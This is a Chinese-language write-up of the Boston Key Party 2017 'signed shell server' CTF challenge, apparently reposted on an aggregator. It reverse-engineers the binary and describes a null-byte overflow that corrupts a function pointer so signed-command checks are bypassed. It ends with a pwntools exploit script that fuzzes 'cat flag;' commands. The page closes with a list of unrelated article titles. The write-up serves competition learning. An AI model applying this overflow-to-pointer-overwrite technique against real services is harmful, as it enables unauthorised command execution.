bosten key party 2017 signed shell server writeup
来源:互联网 发布:linux php打开下载 编辑:程序博客网 时间:2024/06/05 11:38
signed shell server
题目
https://github.com/ctfs/write-ups-2017/tree/master/boston-key-party-2017/pwn/signed-shell-server-200
分析
先随便把玩一下,有两个功能,一个是sign,一个是execute,sign会给出一个命令的签名,然后execute给出命令,并给出签名,如果匹配成功就会使用system执行。
保护:
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
没有开启PIE,在0x602240位置有一个变量,表示是否使用MD5,不为0则使用HMAC-MD5,否则使用HMAC-SHA1作为签名。
sign的时候先输入命令,只支持ls等几个没有什么用的命令,然后进行HMAC,给出结果作为签名,exeucte的时候同样进行HMAC。由于HMAC使用了flag的值作为key,显然是不可能使用他的sign以外的函数来自行签名的。
有趣的是它的execute函数:
__int64 execute_it(){ size_t v0; // r13@6 char *v1; // rdi@6 unsigned int v2; // er12@6 char *v3; // rbx@6 __int64 v4; // rax@6 void *v5; // rax@6 size_t v6; // r13@7 char *v7; // rdi@7 unsigned int v8; // er12@7 char *v9; // rbx@7 __int64 v10; // rax@7 void *v11; // rax@7 void *v12; // rsi@16 size_t n; // [sp+Ch] [bp-64h]@8 unsigned int i; // [sp+14h] [bp-5Ch]@13 int v16; // [sp+18h] [bp-58h]@3 int v17; // [sp+1Ch] [bp-54h]@5 void *dest; // [sp+20h] [bp-50h]@3 void *src; // [sp+28h] [bp-48h]@6 char *s; // [sp+30h] [bp-40h]@5 char *s1; // [sp+38h] [bp-38h]@8 void *buf; // [sp+40h] [bp-30h]@8 __int64 v23; // [sp+48h] [bp-28h]@1 v23 = *MK_FP(__FS__, 40LL); if ( !exec_guy ) { exec_guy = (__int64)calloc(0x24uLL, 1uLL); s_exec_guy = exec_guy; m_exec_guy = exec_guy + 1; *(_QWORD *)(exec_guy + 20) = deny_command; *(_QWORD *)(s_exec_guy + 28) = exec_command; } v16 = byte_602240; dest = (void *)m_exec_guy; if ( !byte_602240 ) dest = (void *)s_exec_guy; puts("what command do you want to run?"); printf(">_ "); v17 = read(0, global, 0x100uLL); global[(signed __int64)v17] = 0; s = global; if ( byte_602240 ) { v0 = strlen(s); v1 = key; v2 = strlen(key); v3 = key; LODWORD(v4) = EVP_md5(v1, global); LODWORD(v5) = HMAC(v4, v3, v2, s, v0, 0LL); src = v5; } else { v6 = strlen(s); v7 = key; v8 = strlen(key); v9 = key; LODWORD(v10) = EVP_sha1(v7, global); LODWORD(v11) = HMAC(v10, v9, v8, s, v6, 0LL); src = v11; } memcpy(dest, src, (unsigned int)n); s1 = (char *)calloc(1uLL, (unsigned int)(2 * n + 1)); buf = calloc(1uLL, (unsigned int)(2 * n + 1)); printf("gimme signature:\n>_ "); v17 = read(0, buf, (unsigned int)(2 * n + 1)); for ( HIDWORD(n) = 0; (unsigned int)(2 * n + 1) > HIDWORD(n); ++HIDWORD(n) ) { if ( *((_BYTE *)buf + SHIDWORD(n)) == 10 ) { *((_BYTE *)buf + SHIDWORD(n)) = 0; break; } } for ( i = 0; i < (unsigned int)n; ++i ) sprintf(&s1[2 * i], "%02x", *((_BYTE *)src + i)); v12 = buf; if ( !strcmp(s1, (const char *)buf) ) (*(void (__fastcall **)(char *, void *))(m_exec_guy + 27))(global, v12); else (*(void (__fastcall **)(char *, void *))(m_exec_guy + 19))(global, v12); puts(byte_40165B); return *MK_FP(__FS__, 40LL) ^ v23;}
漏洞
- global这个变量存在一个null byte overflow,会多出一个字节
- 这个execute_guy,大概结构是:
struct ExecuteGuy { char buf[20]; void* deny_func; void* execute_func;}
在使用md5时exec_guy将会后移一位,而sha1则不会
另外,deny的函数位于0x400d36,exec的函数位于0x400d5b,只有最后一个字节不同。
3. sha1比md5长,将会是20字节大小
在exec的时候,触发null byte overflow会导致use_md5为0,但是exec_guy已经初始化结束了,所以之前选择的是MD5会导致使用的是exec_guy + 1,这样的话,sha1加密会导致最后一个字节溢出到deny_func中去,而deny_func和exec_func的字节只有最后一位不一样,所以只需要产生一个加密后最后一个字节为exec_func的最低位的shell 命令,溢出后执行deny_func会去执行exec,也就是system,最后就可以得到flag了
exp.py
from pwn import *import stringcontext(os='linux', arch='amd64', log_level='debug')DEBUG = 1GDB = 1if DEBUG: pass# p_global = process("./sss")def sign(p, command, possible=True): p.recvuntil('>_') p.sendline('1') p.recvuntil('>_') p.sendline(command) if possible: p.recvuntil('signature: \n') sig = p.recvline()[:-1] else: return return sigdef execute(p, command, sig): p.recvuntil('>_') p.sendline('2') p.recvuntil('>_') p.sendline(command) p.recvuntil('>_') p.sendline(sig) return p.recvline()[:-1]def fuzz(test_str, len_max): for x in string.printable: with process("./sss") as p: try: res = execute(p, (test_str + x).ljust(255, 'a'), 'abc') if 'flag{' not in res: continue log.success(res) return except: continue if len_max == len(test_str): returndef main(): if GDB: raw_input() fuzz('cat flag;', 12)if __name__ == "__main__": main()
- bosten key party 2017 signed shell server writeup
- bosten key party 2017 memo writeup
- 【Writeup】Boston Key Party CTF 2015(部分题目)
- Boston Key Party CTF 2017: prudentialv2-50
- writeup--echo server
- Export Signed Android Wizard. Create Key
- NJCTF 2017 web Writeup
- 2017TCTF RisingStar writeup
- BCTF 2017 WEB WriteUp
- 2017 SSCTF Writeup
- ISCC 2017 writeup(部分)
- 2017 bctf boj writeup
- 2017 rctf RNote2 writeup
- 2017 GCTF Web WriteUp
- 2017 GCTF writeup
- 2017 某校赛 Writeup
- 2017 火种CTF Writeup
- 2017ctf writeup
- matlab直线拟合RANSAC初探
- 微信小程序--(5-1)点击列表item,把item上面显示的所有数据,传递到另外一个页面
- Velocity入门
- caffe make问题
- Angular2笔记(三)--服务与依赖注入
- bosten key party 2017 signed shell server writeup
- UVA11093JustFinishItUp
- extern "C"
- 统计目录下的文件数
- 学会这十五招,斗地主想输都难
- Ubuntu 16.04 安装 IDEA
- Eclipse中执行Maven命令时控制台输出乱码
- spring cache相关注解介绍 @Cacheable、@CachePut、@CacheEvict
- [leetcode]126. Word LadderII@Java解题报告